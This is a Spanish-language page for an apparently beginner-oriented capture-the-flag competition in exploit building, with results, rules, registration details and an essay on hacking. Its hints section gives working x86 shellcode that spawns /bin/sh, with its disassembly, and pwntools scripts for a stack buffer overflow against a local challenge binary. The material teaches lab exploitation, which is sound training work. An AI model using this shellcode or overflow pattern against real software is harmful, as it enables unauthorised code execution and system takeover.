Resultados de competencia de hacking: construcción de exploits

Después de lo que se podría llamar una “fiera” competencia de hacking, en la cual se podía apreciar que diferentes competidores terminaban de construir el exploit para obtener un flag que demostraba un ataque exitoso a las 3:30 am, y comenzaban nuevamente a las 6:am, se evidencio la existencia de un amplio talento para la computación relacionada a la ciberseguridad ofensiva. Los participantes colombianos, mostraron particularmente habilidad en los problemas en los que había que usar conocimientos relacionados a algoritmos para construir un ataque. Por otro lado, una debilidad notoria de los participantes fue explotación binaria, en la cual hay que hacer ingeniería reversa de código compilado y hacer inyecciones de “machine code” para alterar instrucciones o estructuras de datos con las que interactúa el procesador.

El ganador, que fue el único en construir todos los ataques, fue Daniel Castro Alvarado, egresado de la Universidad Nacional de Colombia. En términos generales hubo un gran desempeño y se felicita a todos los participantes.

A continuación se muestra el top 5, y una mención de honor en el puesto 6:

Fin del artículo.

PISTAS

  1. Como explotar un buffer overflow muy simple:

2. Si un binario no tiene la función win, ud puede inyectar código para imprimir el flag, o incluso abrir una terminal dentro del programa. Por ejemplo, si pueden poner unos bytes que representen unas instrucciones de procesador (machine code) en un buffer y hacer que la ejecucion del programa se dirija ahi, podría realizar cualquier acción desde ese programa. Pwn tools, permite generar los bytes de cosas conocidas, por ejemple de un “cat flag.txt” , por ejemplo

from pwn import *
print 8*'a'+'\x00\x00\x00\x00'+asm(shellcraft.cat('flag.txt'))

En ese caso, asm(shellcraft.cat(‘flag.txt’)) generará el machine code de “cat flag.txt”

Tambien es posible inyectar bytes que abran una terminal en pwn, pero tb manualmente, por ejemplo, estos son los bytes que abren una terminal en un programa de 32 bits:

‘\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80’

Entonces si hacen algo asi:

from pwn import *
p = process("./vuln")
p.readline()
p.sendline( 8*'a'+'\x00\x00\x00\x00'+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80')
p.interactive()

la linea interactive operará con la terminal abierta desde el programa. esos bytes mostrados simplemente son system(“/bin/sh”), si le hacen un disassemble a esos bytes en linux o en este web site https://defuse.ca/online-x86-assembler.htm#disassembly2 , veran que son el assembly de un system call con el parámetro “/bin/sh” , noten que 0x68732f2f y 0x6e69622f contienen los caracteres de “/bin/sh”:

0:  00 00                   add    BYTE PTR [eax],al
2:  00 00                   add    BYTE PTR [eax],al
4:  31 c0                   xor    eax,eax
6:  50                      push   eax
7:  68 2f 2f 73 68          push   0x68732f2f
c:  68 2f 62 69 6e          push   0x6e69622f
11: 89 e3                   mov    ebx,esp
13: 89 c1                   mov    ecx,eax
15: 89 c2                   mov    edx,eax
17: b0 0b                   mov    al,0xb
19: cd 80                   int    0x80
1b: 31 c0                   xor    eax,eax
1d: 40                      inc    eax
1e: cd 80                   int    0x80

para el problema de StackBufferOverFlowShellCode podría usar esos bytes. de hecho esos dos pequeños script de pwn son un ejemplo de estructura para explotar ese problema, solo deben actualizar el padding y las direccion.

Nota: una persona con habilidades en el tema, puede terminar todo en aproximadamente 3 horas. Sin embargo, se deja un amplio plazo de participación para personas que están aprendiendo.

Para registrarse, dirijase a:

https://web.lowbits.io/

Diligencie los datos requeridos. Una vez lo haya hecho, se le enviará un email automáticamente para confirmar el registro.

Primero que todo, atacar la plataforma es ilegal y sobre todo descortés con los otros participantes. Únicamente debe atacar los problemas que apareszcan en “challenges” una vez de inicio la competencia.

Puede crear un equipo de tres personas como máximo o participar individualmente. Un equipo se registra una vez se crea la cuenta. Un miembro del equipo lo debe crear y el resto se debe unir con el mismo password, como se observa en la siguiente imagen:

Podrá ver los programas para atacar una vez se de inicio a la competencia en la fecha indicada. Los programas e instrucciones para atacarlos estan en español, aunque algunas partes de la plataforma aun están en inglés.

Preguntas a registro@lowbits.io

Reglas

  • Equipos de máximo tres personas
  • Si bien en la mayoría de problemas es inútil usar herramientas de ataque, en algunos es posible. Debido a que el objetivo es el aprendizaje de construcción de exploits, está prohibido el uso de herramientas como por ejemplo metasploit o sqlmap,
  • No se puede utilizar código de terceros, el código debe ser escrito por el participante.
  • Esta prohibido publicar las soluciones en Internet durante o después de la competencia. Por favor no lo haga, dañaría el proceso de aprendizaje de muchos.
  • Es posible y recomendado usar herramientas de ingeniería reversa o debuggers. Cualquier herramienta de terminal de linux es aceptada, por ejemplo, GDB u Objdump,
  • El uso de cualquier lenguaje de programación es permitido. Se recomienda usar python con la librería PWNTOOLS (“a CTF framework and exploit development library”) http://docs.pwntools.com/en/stable/ 
  • El equipo o persona que capture todos los flags primero, gana.
  • Cuando capture todos los flags, debe enviar a mas tardar una hora después del último flag capturado, el código o explicación del ataque a cada problema. Esto para validar que realmente se realizó el proceso de manera justa. Si no lo hace, sus flags serán invalidados.

Nota

Un hacker es completamente diferente a un ciber criminal. Un hacker es simplemente alguien con un gran conocimiento de computación, que lo permite manipular software de formas inesperadas.

Un exploit es la materialización de un ataque exitoso al software. Un exploit es implementado por un hacker, alguien con conocimiento profundo de la tecnología o sus fundamentos.

En esta primera versión de la competencia, los exploits a crear son de un rango fácil a intermedio debido a que se espera la participación de principiantes en mayor medida, que podrán aprender de construcción de exploits sobre la marcha. Se darán explicaciones e ideas de cómo construir los ataques para que alguien inexperto, pero con al menos conocimientos de programación, pueda comenzar.

Los CTF (Capture The Flag) han demostrado ser considerablemente más efectivos que otros métodos en el aprendizaje de seguridad y hacking si se utilizan problemas que reflejen ataques de la vida real. Esto permite simplemente al participante convertirse en hacker.

Saber usar únicamente herramientas de ataques automatizados, no lo convierte en un hacker sino en un Script Kiddie; alguien que carece de la capacidad de crear un ataque por si solo y debe utilizar el exploit de un tercero, por lo tanto, nunca descubrirá un ataque original o novedoso. Aprender el bajo nivel del software permite la manipulación de la tecnología de manera profunda, lo cual, por ende, le brindará habilidades de “hacker de verdad”. “No sea un Script Kiddie!” dicen los hackers de verdad.